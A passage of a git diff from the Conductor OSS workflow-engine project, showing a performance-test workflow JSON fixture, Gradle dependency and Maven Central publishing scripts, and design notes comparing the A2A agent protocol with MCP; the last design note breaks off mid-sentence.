"type": "SIMPLE", + "startDelay": 0 + } + ], + "1": [ + { + "name": "perf_task_7", + "taskReferenceName": "perf_task_7", + "inputParameters": { + "mod": "${perf_task_3.output.mod}", + "oddEven": "${perf_task_3.output.oddEven}" + }, + "type": "SIMPLE", + "startDelay": 0 + }, + { + "name": "perf_task_8", + "taskReferenceName": "perf_task_8", + "inputParameters": { + "mod": "${perf_task_7.output.mod}", + "oddEven": "${perf_task_7.output.oddEven}" + }, + "type": "SIMPLE", + "startDelay": 0 + }, + { + "name": "perf_task_9", + "taskReferenceName": "perf_task_9", + "inputParameters": { + "mod": "${perf_task_8.output.mod}", + "oddEven": "${perf_task_8.output.oddEven}" + }, + "type": "SIMPLE", + "startDelay": 0 + }, + { + "name": "modDecision", + "taskReferenceName": "modDecision", + "inputParameters": { + "mod": "${perf_task_8.output.mod}" + }, + "type": "DECISION", + "caseValueParam": "mod", + "decisionCases": { + "0": [ + { + "name": "perf_task_12", + "taskReferenceName": "perf_task_12", + "inputParameters": { + "mod": "${perf_task_9.output.mod}", + "oddEven": "${perf_task_9.output.oddEven}" + }, + "type": "SIMPLE", + "startDelay": 0 + }, + { + "name": "perf_task_13", + "taskReferenceName": "perf_task_13", + "inputParameters": { + "mod": "${perf_task_12.output.mod}", + "oddEven": "${perf_task_12.output.oddEven}" + }, + "type": "SIMPLE", + "startDelay": 0 + }, + { + "name": "sub_workflow_x", + "taskReferenceName": "wf1", + "inputParameters": { + "mod": "${perf_task_12.output.mod}", + "oddEven": "${perf_task_12.output.oddEven}" + }, + "type": "SUB_WORKFLOW", + "startDelay": 0, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": 1 + } + } + ], + "1": [ + { + "name": "perf_task_15", + "taskReferenceName": "perf_task_15", + "inputParameters": { + "mod": "${perf_task_9.output.mod}", + "oddEven": "${perf_task_9.output.oddEven}" + }, + "type": "SIMPLE", + "startDelay": 0 + }, + { + "name": "perf_task_16", + "taskReferenceName": "perf_task_16", + "inputParameters": { + "mod": "${perf_task_15.output.mod}", + "oddEven": "${perf_task_15.output.oddEven}" + }, + "type": "SIMPLE", + "startDelay": 0 + }, + { + "name": "sub_workflow_x", + "taskReferenceName": "wf2", + "inputParameters": { + "mod": "${perf_task_12.output.mod}", + "oddEven": "${perf_task_12.output.oddEven}" + }, + "type": "SUB_WORKFLOW", + "startDelay": 0, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": 1 + } + } + ], + "4": [ + { + "name": "perf_task_18", + "taskReferenceName": "perf_task_18", + "inputParameters": { + "mod": "${perf_task_9.output.mod}", + "oddEven": "${perf_task_9.output.oddEven}" + }, + "type": "SIMPLE", + "startDelay": 0 + }, + { + "name": "perf_task_19", + "taskReferenceName": "perf_task_19", + "inputParameters": { + "mod": "${perf_task_18.output.mod}", + "oddEven": "${perf_task_18.output.oddEven}" + }, + "type": "SIMPLE", + "startDelay": 0 + } + ], + "5": [ + { + "name": "perf_task_21", + "taskReferenceName": "perf_task_21", + "inputParameters": { + "mod": "${perf_task_9.output.mod}", + "oddEven": "${perf_task_9.output.oddEven}" + }, + "type": "SIMPLE", + "startDelay": 0 + }, + { + "name": "sub_workflow_x", + "taskReferenceName": "wf3", + "inputParameters": { + "mod": "${perf_task_12.output.mod}", + "oddEven": "${perf_task_12.output.oddEven}" + }, + "type": "SUB_WORKFLOW", + "startDelay": 0, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": 1 + } + }, + { + "name": "perf_task_22", + "taskReferenceName": "perf_task_22", + "inputParameters": { + "mod": "${perf_task_21.output.mod}", + "oddEven": "${perf_task_21.output.oddEven}" + }, + "type": "SIMPLE", + "startDelay": 0 + } + ] + }, + "defaultCase": [ + { + "name": "perf_task_24", + "taskReferenceName": "perf_task_24", + "inputParameters": { + "mod": "${perf_task_9.output.mod}", + "oddEven": "${perf_task_9.output.oddEven}" + }, + "type": "SIMPLE", + "startDelay": 0 + }, + { + "name": "sub_workflow_x", + "taskReferenceName": "wf4", + "inputParameters": { + "mod": "${perf_task_12.output.mod}", + "oddEven": "${perf_task_12.output.oddEven}" + }, + "type": "SUB_WORKFLOW", + "startDelay": 0, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": 1 + } + }, + { + "name": "perf_task_25", + "taskReferenceName": "perf_task_25", + "inputParameters": { + "mod": "${perf_task_24.output.mod}", + "oddEven": "${perf_task_24.output.oddEven}" + }, + "type": "SIMPLE", + "startDelay": 0 + } + ], + "startDelay": 0 + } + ] + }, + "startDelay": 0 + }, + "queueWaitTime": 25, + "taskStatus": "COMPLETED" + }, + { + "taskType": "perf_task_4", + "status": "COMPLETED", + "inputData": { + "mod": "6", + "oddEven": "0" + }, + "referenceTaskName": "perf_task_4", + "retryCount": 0, + "seq": 6, + "correlationId": "1505587453950", + "pollCount": 1, + "taskDefName": "perf_task_4", + "scheduledTime": 1505587460234, + "startTime": 1505587463699, + "endTime": 1505587463718, + "updateTime": 1505587463718, + "startDelayInSeconds": 0, + "retried": false, + "executed": false, + "callbackFromWorker": true, + "responseTimeoutSeconds": 3600, + "workflowInstanceId": "46e2d0d7-0809-40f2-9f22-bed9d41f6613", + "taskId": "1bf3da08-9d16-4f8a-98c3-4a6efee0e03a", + "callbackAfterSeconds": 0, + "outputData": { + "mod": "9", + "oddEven": "1", + "inputs": { + "subflow_0": { + "mod": 4, + "oddEven": 0 + }, + "subflow_4": { + "mod": 4, + "oddEven": 0 + }, + "subflow_2": { + "mod": 4, + "oddEven": 0 + } + }, + "dynamicTasks": [ + { + "name": null, + "taskReferenceName": "subflow_0", + "description": null, + "inputParameters": null, + "type": "SUB_WORKFLOW", + "dynamicTaskNameParam": null, + "caseValueParam": null, + "caseExpression": null, + "decisionCases": { + }, + "dynamicForkJoinTasksParam": null, + "dynamicForkTasksParam": null, + "dynamicForkTasksInputParamName": null, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "sink": null, + "optional": null, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": null + } + }, + { + "name": null, + "taskReferenceName": "subflow_2", + "description": null, + "inputParameters": null, + "type": "SUB_WORKFLOW", + "dynamicTaskNameParam": null, + "caseValueParam": null, + "caseExpression": null, + "decisionCases": { + }, + "dynamicForkJoinTasksParam": null, + "dynamicForkTasksParam": null, + "dynamicForkTasksInputParamName": null, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "sink": null, + "optional": null, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": null + } + }, + { + "name": null, + "taskReferenceName": "subflow_4", + "description": null, + "inputParameters": null, + "type": "SUB_WORKFLOW", + "dynamicTaskNameParam": null, + "caseValueParam": null, + "caseExpression": null, + "decisionCases": { + }, + "dynamicForkJoinTasksParam": null, + "dynamicForkTasksParam": null, + "dynamicForkTasksInputParamName": null, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "sink": null, + "optional": null, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": null + } + } + ], + "attempt": 1 + }, + "workflowTask": { + "name": "perf_task_4", + "taskReferenceName": "perf_task_4", + "inputParameters": { + "mod": "${perf_task_3.output.mod}", + "oddEven": "${perf_task_3.output.oddEven}" + }, + "type": "SIMPLE", + "startDelay": 0 + }, + "queueWaitTime": 3465, + "taskStatus": "COMPLETED" + } + ], + "input": { + "mod": "0", + "oddEven": "0", + "task2Name": "perf_task_10" + }, + "workflowType": "performance_test_1", + "version": 1, + "correlationId": "1505587453950", + "schemaVersion": 2, + "taskToDomain": { + "*": "beta" + }, + "startTime": 1505587453961, + "workflowDefinition": { + "createTime": 1477681181098, + "updateTime": 1502738273998, + "name": "performance_test_1", + "description": "performance_test_1", + "version": 1, + "tasks": [ + { + "name": "perf_task_1", + "taskReferenceName": "perf_task_1", + "inputParameters": { + "mod": "${workflow.input.mod}", + "oddEven": "${workflow.input.oddEven}" + }, + "type": "SIMPLE", + "startDelay": 0 + }, + { + "name": "dyntask", + "taskReferenceName": "perf_task_2", + "inputParameters": { + "taskToExecute": "${workflow.input.task2Name}" + }, + "type": "DYNAMIC", + "dynamicTaskNameParam": "taskToExecute", + "startDelay": 0 + }, + { + "name": "perf_task_3", + "taskReferenceName": "perf_task_3", + "inputParameters": { + "mod": "${perf_task_2.output.mod}", + "oddEven": "${perf_task_2.output.oddEven}" + }, + "type": "SIMPLE", + "startDelay": 0 + }, + { + "name": "get_from_es", + "taskReferenceName": "get_es_1", + "type": "HTTP", + "startDelay": 0 + }, + { + "name": "oddEvenDecision", + "taskReferenceName": "oddEvenDecision", + "inputParameters": { + "oddEven": "${perf_task_3.output.oddEven}" + }, + "type": "DECISION", + "caseValueParam": "oddEven", + "decisionCases": { + "0": [ + { + "name": "perf_task_4", + "taskReferenceName": "perf_task_4", + "inputParameters": { + "mod": "${perf_task_3.output.mod}", + "oddEven": "${perf_task_3.output.oddEven}" + }, + "type": "SIMPLE", + "startDelay": 0 + }, + { + "name": "dynamic_fanout", + "taskReferenceName": "fanout1", + "inputParameters": { + "dynamicTasks": "${perf_task_4.output.dynamicTasks}", + "input": "${perf_task_4.output.inputs}" + }, + "type": "FORK_JOIN_DYNAMIC", + "dynamicForkTasksParam": "dynamicTasks", + "dynamicForkTasksInputParamName": "input", + "startDelay": 0 + }, + { + "name": "dynamic_join", + "taskReferenceName": "join1", + "type": "JOIN", + "startDelay": 0 + }, + { + "name": "perf_task_5", + "taskReferenceName": "perf_task_5", + "inputParameters": { + "mod": "${perf_task_4.output.mod}", + "oddEven": "${perf_task_4.output.oddEven}" + }, + "type": "SIMPLE", + "startDelay": 0 + }, + { + "name": "perf_task_6", + "taskReferenceName": "perf_task_6", + "inputParameters": { + "mod": "${perf_task_5.output.mod}", + "oddEven": "${perf_task_5.output.oddEven}" + }, + "type": "SIMPLE", + "startDelay": 0 + } + ], + "1": [ + { + "name": "perf_task_7", + "taskReferenceName": "perf_task_7", + "inputParameters": { + "mod": "${perf_task_3.output.mod}", + "oddEven": "${perf_task_3.output.oddEven}" + }, + "type": "SIMPLE", + "startDelay": 0 + }, + { + "name": "perf_task_8", + "taskReferenceName": "perf_task_8", + "inputParameters": { + "mod": "${perf_task_7.output.mod}", + "oddEven": "${perf_task_7.output.oddEven}" + }, + "type": "SIMPLE", + "startDelay": 0 + }, + { + "name": "perf_task_9", + "taskReferenceName": "perf_task_9", + "inputParameters": { + "mod": "${perf_task_8.output.mod}", + "oddEven": "${perf_task_8.output.oddEven}" + }, + "type": "SIMPLE", + "startDelay": 0 + }, + { + "name": "modDecision", + "taskReferenceName": "modDecision", + "inputParameters": { + "mod": "${perf_task_8.output.mod}" + }, + "type": "DECISION", + "caseValueParam": "mod", + "decisionCases": { + "0": [ + { + "name": "perf_task_12", + "taskReferenceName": "perf_task_12", + "inputParameters": { + "mod": "${perf_task_9.output.mod}", + "oddEven": "${perf_task_9.output.oddEven}" + }, + "type": "SIMPLE", + "startDelay": 0 + }, + { + "name": "perf_task_13", + "taskReferenceName": "perf_task_13", + "inputParameters": { + "mod": "${perf_task_12.output.mod}", + "oddEven": "${perf_task_12.output.oddEven}" + }, + "type": "SIMPLE", + "startDelay": 0 + }, + { + "name": "sub_workflow_x", + "taskReferenceName": "wf1", + "inputParameters": { + "mod": "${perf_task_12.output.mod}", + "oddEven": "${perf_task_12.output.oddEven}" + }, + "type": "SUB_WORKFLOW", + "startDelay": 0, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": 1 + } + } + ], + "1": [ + { + "name": "perf_task_15", + "taskReferenceName": "perf_task_15", + "inputParameters": { + "mod": "${perf_task_9.output.mod}", + "oddEven": "${perf_task_9.output.oddEven}" + }, + "type": "SIMPLE", + "startDelay": 0 + }, + { + "name": "perf_task_16", + "taskReferenceName": "perf_task_16", + "inputParameters": { + "mod": "${perf_task_15.output.mod}", + "oddEven": "${perf_task_15.output.oddEven}" + }, + "type": "SIMPLE", + "startDelay": 0 + }, + { + "name": "sub_workflow_x", + "taskReferenceName": "wf2", + "inputParameters": { + "mod": "${perf_task_12.output.mod}", + "oddEven": "${perf_task_12.output.oddEven}" + }, + "type": "SUB_WORKFLOW", + "startDelay": 0, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": 1 + } + } + ], + "4": [ + { + "name": "perf_task_18", + "taskReferenceName": "perf_task_18", + "inputParameters": { + "mod": "${perf_task_9.output.mod}", + "oddEven": "${perf_task_9.output.oddEven}" + }, + "type": "SIMPLE", + "startDelay": 0 + }, + { + "name": "perf_task_19", + "taskReferenceName": "perf_task_19", + "inputParameters": { + "mod": "${perf_task_18.output.mod}", + "oddEven": "${perf_task_18.output.oddEven}" + }, + "type": "SIMPLE", + "startDelay": 0 + } + ], + "5": [ + { + "name": "perf_task_21", + "taskReferenceName": "perf_task_21", + "inputParameters": { + "mod": "${perf_task_9.output.mod}", + "oddEven": "${perf_task_9.output.oddEven}" + }, + "type": "SIMPLE", + "startDelay": 0 + }, + { + "name": "sub_workflow_x", + "taskReferenceName": "wf3", + "inputParameters": { + "mod": "${perf_task_12.output.mod}", + "oddEven": "${perf_task_12.output.oddEven}" + }, + "type": "SUB_WORKFLOW", + "startDelay": 0, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": 1 + } + }, + { + "name": "perf_task_22", + "taskReferenceName": "perf_task_22", + "inputParameters": { + "mod": "${perf_task_21.output.mod}", + "oddEven": "${perf_task_21.output.oddEven}" + }, + "type": "SIMPLE", + "startDelay": 0 + } + ] + }, + "defaultCase": [ + { + "name": "perf_task_24", + "taskReferenceName": "perf_task_24", + "inputParameters": { + "mod": "${perf_task_9.output.mod}", + "oddEven": "${perf_task_9.output.oddEven}" + }, + "type": "SIMPLE", + "startDelay": 0 + }, + { + "name": "sub_workflow_x", + "taskReferenceName": "wf4", + "inputParameters": { + "mod": "${perf_task_12.output.mod}", + "oddEven": "${perf_task_12.output.oddEven}" + }, + "type": "SUB_WORKFLOW", + "startDelay": 0, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": 1 + } + }, + { + "name": "perf_task_25", + "taskReferenceName": "perf_task_25", + "inputParameters": { + "mod": "${perf_task_24.output.mod}", + "oddEven": "${perf_task_24.output.oddEven}" + }, + "type": "SIMPLE", + "startDelay": 0 + } + ], + "startDelay": 0 + } + ] + }, + "startDelay": 0 + }, + { + "name": "perf_task_28", + "taskReferenceName": "perf_task_28", + "inputParameters": { + "mod": "${perf_task_3.output.mod}", + "oddEven": "${perf_task_3.output.oddEven}" + }, + "type": "SIMPLE", + "startDelay": 0 + }, + { + "name": "perf_task_29", + "taskReferenceName": "perf_task_29", + "inputParameters": { + "mod": "${perf_task_28.output.mod}", + "oddEven": "${perf_task_28.output.oddEven}" + }, + "type": "SIMPLE", + "startDelay": 0 + }, + { + "name": "perf_task_30", + "taskReferenceName": "perf_task_30", + "inputParameters": { + "mod": "${perf_task_29.output.mod}", + "oddEven": "${perf_task_29.output.oddEven}" + }, + "type": "SIMPLE", + "startDelay": 0 + } + ], + "schemaVersion": 2 + } +} diff --git a/dependencies.gradle b/dependencies.gradle new file mode 100644 index 0000000..107add1 --- /dev/null +++ b/dependencies.gradle @@ -0,0 +1,100 @@ +/* + * Copyright 2023 Conductor authors + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ + +/* + * Common place to define all the version dependencies + */ +ext { + revActivation = '2.0.1' + revApacheHttpComponentsClient5 = '5.3.1' + revAwaitility = '3.1.6' + revAwsSdk = '2.31.68' + revBval = '2.0.5' + revCassandra = '3.10.2' + revCassandraUnit = '3.11.2.0' + revCommonsIo = '2.18.0' + revElasticSearch6 = '6.8.23' + revEmbeddedRedis = '0.6' + revEurekaClient = '2.0.2' + revGroovy = '4.0.21' + revGrpc = '1.73.0' + revGuava = '33.2.1-jre' + revHamcrestAllMatchers = '1.8' + revHealth = '1.1.4' + revPostgres = '42.7.2' + + // ----------------------------------------------------------------- + // PINNED DEPENDENCIES — do not upgrade without reading the notes. + // Dependabot ignore rules in .github/dependabot.yml enforce these. + // See: https://github.com/conductor-oss/conductor/issues/964 + // ----------------------------------------------------------------- + + // PINNED (#964): protobuf-java must stay at 3.x. + // protobuf-java 4.x combined with GraalVM polyglot 25.x causes Gradle + // to request org.graalvm.polyglot:polyglot4 which does not exist on + // Maven Central, breaking compilation. Revisit when a 4.x release + // resolves this GraalVM capability-resolution conflict. + revProtoBuf = '3.25.5' + + // PINNED (#964): GraalVM polyglot artifacts — ALL must be the same version. + // Mixing versions (e.g. polyglot:24.x with js:25.x) causes a runtime + // "polyglot version X is not compatible with Truffle Y" error. + // When upgrading, bump revGraalVM everywhere it is referenced and test. + // core/build.gradle uses this variable for all five GraalVM artifacts. + revGraalVM = '25.0.2' + revJakartaAnnotation = '2.1.1' + revJAXB = '4.0.1' + revJAXRS = '4.0.0' + revJedis = '6.0.0' + revJersey = '3.1.7' + revJerseyCommon = '3.1.7' + revJsonPath = '2.4.0' + revJq = '0.0.13' + revJsr311Api = '1.1.1' + revMockServerClient = '5.12.0' + revSpringDoc = '2.1.0' + revOrkesQueues = '2.0.0.rc3' + revPowerMock = '2.0.9' + revProtogenAnnotations = '1.0.0' + revProtogenCodegen = '1.4.0' + revRarefiedRedis = '0.0.17' + revRedisson = '3.22.0' + revRxJava = '1.2.2' + revSpock = '2.4-M4-groovy-4.0' + revSpotifyCompletableFutures = '0.3.3' + revTestContainer = '1.21.4' + revFasterXml = '2.15.3' + revAmqpClient = '5.13.0' + revKafka = '2.6.0' + revMicrometer = '1.14.6' + revPrometheus = '0.9.0' + revElasticSearch7 = '7.17.11' + revElasticSearch8 = '8.19.11' + revCodec = '1.15' + revAzureStorageBlobSdk = '12.25.1' + revNatsStreaming = '2.6.5' + revNats = '2.16.14' + revStan = '2.2.3' + revFlyway = '10.15.2' + revConductorClient = '5.0.1' + revReactor = '1.3.1' + revSpringAI = '1.1.2' + revJSonSchemaValidator = '1.0.73' + mongodb = '4.11.0' + pgVector = '0.1.4' + sqliteJdbc = '3.49.0.0' + revMCP = '0.13.0' + revCommonsCompress = '1.26.1' + pinecone = '3.0.0' + revFlexmark = '0.64.8' +} diff --git a/deploy.gradle b/deploy.gradle new file mode 100644 index 0000000..5abd696 --- /dev/null +++ b/deploy.gradle @@ -0,0 +1,131 @@ +subprojects { + + apply plugin: 'maven-publish' + apply plugin: 'java-library' + apply plugin: 'signing' + + group = 'org.conductoross' + + java { + withSourcesJar() + withJavadocJar() + } + + publishing { + publications { + mavenJava(MavenPublication) { + from components.java + versionMapping { + usage('java-api') { + fromResolutionOf('runtimeClasspath') + } + usage('java-runtime') { + fromResolutionResult() + } + } + pom { + name = 'Conductor OSS' + description = 'Conductor OSS build.' + url = 'https://github.com/conductor-oss/conductor' + scm { + connection = 'scm:git:git://github.com/conductor-oss/conductor.git' + developerConnection = 'scm:git:ssh://github.com/conductor-oss/conductor.git' + url = 'https://github.com/conductor-oss/conductor' + } + licenses { + license { + name = 'The Apache License, Version 2.0' + url = 'http://www.apache.org/licenses/LICENSE-2.0.txt' + } + } + developers { + developer { + organization = 'Conductor OSS' + organizationUrl = 'https://conductor-oss.org/' + name = 'Conductor OSS' + } + } + } + } + } + + repositories { + maven { + url = "https://ossrh-staging-api.central.sonatype.com/service/local/staging/deploy/maven2/" + credentials { + username project.properties.username + password project.properties.password + } + } + } + } + + signing { + def signingKeyId = findProperty('signingKeyId') + if (signingKeyId) { + def signingKey = findProperty('signingKey') + def signingPassword = findProperty('signingPassword') + if (signingKeyId && signingKey && signingPassword) { + useInMemoryPgpKeys(signingKeyId, signingKey, signingPassword) + } + sign publishing.publications + } + + } + + task promoteToMavenCentral { + group = 'publishing' + description = 'Promotes staged artifacts to Maven Central' + + onlyIf { + project.hasProperty('mavenCentral') && + project.hasProperty('username') && + project.hasProperty('password') && + !project.version.endsWith('-SNAPSHOT') + } + + doLast { + def username = project.properties['username'] + def password = project.properties['password'] + + // Create base64 encoded token for authentication + def token = "${username}:${password}".bytes.encodeBase64().toString() + + // Get open staging repositories + def response = new URL("https://ossrh-staging-api.central.sonatype.com/manual/search/repositories") + .openConnection() + response.setRequestProperty("Authorization", "Basic ${token}") + response.setRequestProperty("Content-Type", "application/json") + + def repositories = new groovy.json.JsonSlurper().parse(response.inputStream) + + // Promote each open repository + repositories.repositories.each { repo -> + if (repo.state == "open") { + project.logger.lifecycle("Promoting repository ${repo.key}") + + def promoteUrl = new URL("https://ossrh-staging-api.central.sonatype.com/manual/upload/repository/${repo.key}?publishing_type=automatic") + def connection = promoteUrl.openConnection() + connection.setRequestMethod("POST") + connection.setRequestProperty("Authorization", "Basic ${token}") + connection.setRequestProperty("Content-Type", "application/json") + + def responseCode = connection.responseCode + if (responseCode == 200) { + project.logger.lifecycle("Successfully promoted repository ${repo.key}") + } else { + def errorStream = connection.errorStream + def errorBody = errorStream ? errorStream.text : "No error body available" + def errorMessage = "Failed to promote repository ${repo.key}. Response code: ${responseCode}. Response message: ${connection.responseMessage}. Error body: ${errorBody}" + project.logger.error(errorMessage) + //throw new GradleException(errorMessage) + } + } + } + } + } + tasks.matching { it.name == 'publish' }.configureEach { publishTask -> + publishTask.finalizedBy tasks.promoteToMavenCentral + } + +} \ No newline at end of file diff --git a/design/a2a/01-overview-and-motivation.md b/design/a2a/01-overview-and-motivation.md new file mode 100644 index 0000000..c352c6c --- /dev/null +++ b/design/a2a/01-overview-and-motivation.md @@ -0,0 +1,117 @@ +# 1. Overview & Motivation + +## 1.1 The problem A2A solves + +Enterprises are deploying a growing number of autonomous agents, but those agents live in +silos — built by different vendors, on different frameworks (LangGraph, CrewAI, ADK, +Semantic Kernel, …), over different data systems and applications. They cannot collaborate. +Google's framing of the goal: + +> "To maximize the benefits from agentic AI, it is critical for these agents to be able to +> collaborate in a dynamic, multi-agent ecosystem across siloed data systems and applications." + +The payoff is cross-framework, cross-vendor interoperability: + +> "Enabling agents to interoperate with each other, even if they were built by different +> vendors or in a different framework, will increase autonomy and multiply productivity +> gains, while lowering long-term costs." + +A2A is the missing **vendor-neutral interoperability layer** between agents — a common +"language" so an agent can find another agent, understand what it can do, hand it work, and +get results back, **without either side exposing its internals**. + +The headline vision is literally the title of the launch blog: **"A new era of Agent +Interoperability."** + +## 1.2 The five design principles (from the launch announcement) + +1. **Embrace agentic capabilities.** + > "A2A focuses on enabling agents to collaborate in their natural, unstructured + > modalities, even when they don't share memory, tools and context." + + This is the **opaque-agent** stance — agents cooperate as peers without merging internal + state. They exchange messages and tasks, not memory dumps or tool handles. + +2. **Build on existing standards.** + > "The protocol is built on top of existing, popular standards including HTTP, SSE, + > JSON-RPC." + + Easier to drop into IT stacks businesses already run; works with existing API gateways, + auth, observability. + +3. **Secure by default.** + > "A2A is designed to support enterprise-grade authentication and authorization, with + > parity to OpenAPI's authentication schemes at launch." + + See [05-security.md](05-security.md). + +4. **Support for long-running tasks.** + > "We designed A2A to be flexible and support scenarios where it excels at completing + > everything from quick tasks to deep research that may take hours and or even days when + > humans are in the loop." + + Hence the stateful Task lifecycle, streaming, and push notifications. + +5. **Modality agnostic.** + > "The agentic world isn't limited to just text, which is why we've designed A2A to + > support various modalities, including audio and video streaming." + + Content travels as typed **Parts** (text / file / structured data) with MIME types. + +> The official spec site re-expresses these as: **Simplicity** (HTTP/JSON-RPC/SSE), +> **Enterprise Readiness** (auth, security, tracing), **Asynchronous** (long-running tasks), +> **Modality Independent**, and **Opaque Execution**. Same ideas, different labels. + +## 1.3 Core actors and terminology + +| Term | Definition (from the key-concepts page) | +|---|---| +| **User** | "The end user, which can be a human operator or an automated service." | +| **A2A Client (Client Agent)** | "An application, service, or another AI agent that acts on behalf of the user. The client initiates communication." Responsible for formulating and communicating tasks. | +| **A2A Server (Remote Agent)** | "An AI agent or an agentic system that exposes an HTTP endpoint implementing the A2A protocol. It receives requests, processes tasks, and returns results or status updates." Responsible for acting on tasks. | +| **Agent Card** | Standardized JSON descriptor used for **capability discovery** — lets a client "identify the best agent that can perform a task." | +| **Opaque agents** | Agents collaborate as black boxes — no shared memory, tools, context, or internal logic. | +| **Task** | A structured, stateful unit of work with a lifecycle. | +| **Message** | A conversational turn between client and remote agent. | +| **Artifact** | An immutable output produced by the remote agent, composed of Parts. | + +The relationship is asymmetric per interaction but symmetric in principle: any agent can be +a client in one exchange and a remote agent in another. An "agent" in A2A is anything that +can speak the protocol over HTTP — it need not be an LLM. + +## 1.4 Real-world examples cited at launch + +- **Candidate sourcing / hiring** (the marquee example): a hiring manager tasks their agent, + through one unified interface, to find candidates matching a job spec. That agent + "interacts with other specialized agents to source potential candidates." The user reviews + suggestions and directs the agent to "schedule further interviews"; afterward "another + agent can be engaged to facilitate background checks." One orchestrating agent coordinating + sourcing → interview-scheduling → background-check agents across HR systems. + +- **Purchasing concierge** (the hands-on codelab): a single concierge agent talks to multiple + independent seller agents (e.g. a burger agent and a pizza agent) to fulfill an order. The + seller agents are deliberately built on *different* frameworks to prove interoperability. + Detailed in [07-ecosystem-and-samples.md](07-ecosystem-and-samples.md). + +- Secondary illustrative examples (loan approval, IT helpdesk routing) show the A2A + MCP + split and "pure A2A" orchestration respectively — see [02-a2a-vs-mcp.md](02-a2a-vs-mcp.md). + +## 1.5 Governance & timeline + +- **April 9, 2025** — Google **announces A2A** ("A new era of Agent Interoperability") with + 50+ launch partners (Atlassian, Box, Cohere, Intuit, LangChain, MongoDB, PayPal, Salesforce, + SAP, ServiceNow, Workday, plus the big consultancies). + +- **June 23–24, 2025** — at Open Source Summit North America, Google **donates A2A to the + Linux Foundation**, forming the vendor-neutral **Agent2Agent project**. Founding members + alongside Google: **AWS, Cisco, Microsoft, Salesforce, SAP, ServiceNow** (+100 companies). + +- **v1.0** — announced as "the first stable, production-ready version," governed by an + **8-seat Technical Steering Committee** (Google, Microsoft, Cisco, AWS, Salesforce, + ServiceNow, SAP, IBM Research). + +- **License:** Apache 2.0. **Org:** `github.com/a2aproject`. **Canonical spec:** the + protobuf file `specification/a2a.proto` (package `lf.a2a.v1` — "lf" = Linux Foundation). + +More on governance, the canonical proto, and the SDK ecosystem in +[07-ecosystem-and-samples.md](07-ecosystem-and-samples.md). diff --git a/design/a2a/02-a2a-vs-mcp.md b/design/a2a/02-a2a-vs-mcp.md new file mode 100644 index 0000000..e027995 --- /dev/null +++ b/design/a2a/02-a2a-vs-mcp.md @@ -0,0 +1,106 @@ +# 2. A2A vs MCP — Complementary, Not Competing + +This is the single most-asked question about A2A, so it gets its own doc. + +## 2.1 The distinction + +| | **MCP (Model Context Protocol)** | **A2A (Agent2Agent)** | +|---|---|---| +| Connects an agent to… | its **tools, resources, structured I/O** | **other agents**, as peers | +| Direction | "vertical" — agent → tooling *(inference: community framing, not spec wording)* | "horizontal" — agent → agent *(inference)* | +| The other side is… | a primitive: "well-defined, structured inputs and outputs," "specific, often stateless, functions" (APIs, DBs, calculators) | an autonomous system that "reason[s], plan[s], use[s] multiple tools, maintain[s] state over longer interactions" | +| One-liner | agents **using** capabilities | agents **partnering** on tasks | +| Author | Anthropic | Google → Linux Foundation | + +The official summarizing sentence, verbatim: + +> "A2A is about agents *partnering* on tasks, while MCP is more about agents *using* capabilities." + +And on the relationship: + +> "A2A is an open protocol that complements Anthropic's Model Context Protocol (MCP), which +> provides helpful tools and context to agents." + +> "Both the MCP and A2A protocols are essential for building complex AI systems, and they +> address distinct but highly complementary needs." + +The official A2A-vs-MCP page is even titled **"Complementary Protocols for Agentic Systems."** + +> **Note on "vertical/horizontal":** the spec does **not** use those words. They're an +> accurate community shorthand (MCP = vertical/agent-to-tool, A2A = horizontal/agent-to-agent), +> but treat them as popularized framing, not a quote. The docs' own framing is +> "partnering" vs "using." + +## 2.2 How they're used together + +> "An agentic application might primarily use A2A to communicate with other agents. Each +> individual agent internally uses MCP to interact with its specific tools and resources." + +So the layering is: + +``` + ┌─────────────────────────────────────────────┐ + │ Agent A │ + │ ── A2A ──► Agent B ── A2A ──► Agent C │ (peers collaborating) + │ │ │ │ + │ MCP│ MCP│ │ + │ ▼ ▼ │ + │ tools/DBs/APIs tools/DBs/APIs │ (each agent's own tooling) + └─────────────────────────────────────────────┘ +``` + +A2A is the connective tissue **between** agents; MCP is how each agent drives **its own** +tools internally. The two never compete for the same job. + +## 2.3 The canonical analogy — the auto repair shop + +The official docs illustrate the split with an autonomous-AI auto-repair shop: + +1. A customer contacts a **Shop Manager** agent. The Manager uses **A2A** for "a multi-turn + diagnostic conversation" — *"send me a picture of the left wheel," "I notice a fluid leak, + how long has this been happening?"* This is agent-to-agent dialogue. + +2. The Manager delegates to **Mechanic** agents. A Mechanic uses **MCP** "to interact with + its specialized tools" — a Vehicle Diagnostic Scanner, a Repair Manual Database, a + Platform Lift (*"raise platform by 2 meters," "engage"*). These are structured, tool-style + operations. + +3. When a part is needed, the Mechanic uses **A2A** "to communicate with a 'Parts Supplier' + agent to order a part." Back to agent-to-agent collaboration. + +> Within one workflow: **A2A** connects Manager ↔ Mechanic ↔ Parts Supplier; **MCP** is how +> each agent operates its own tools. + +## 2.4 The "opaque agent" concept + +A2A is deliberately designed so agents collaborate as **black boxes**. They interact "as +peers" through standardized messages and task structures **without exposing internal +mechanics, tools, memory, or state**. Design principle #1 says it directly: agents collaborate +"even when they don't share memory, tools and context." + +This is the philosophical line between the two protocols: + +- **MCP exposes a tool's interface** so an agent can call it precisely (structured schema in, + structured result out). +- **A2A hides the agent's interior** and exposes only a capability surface (skills) plus a + 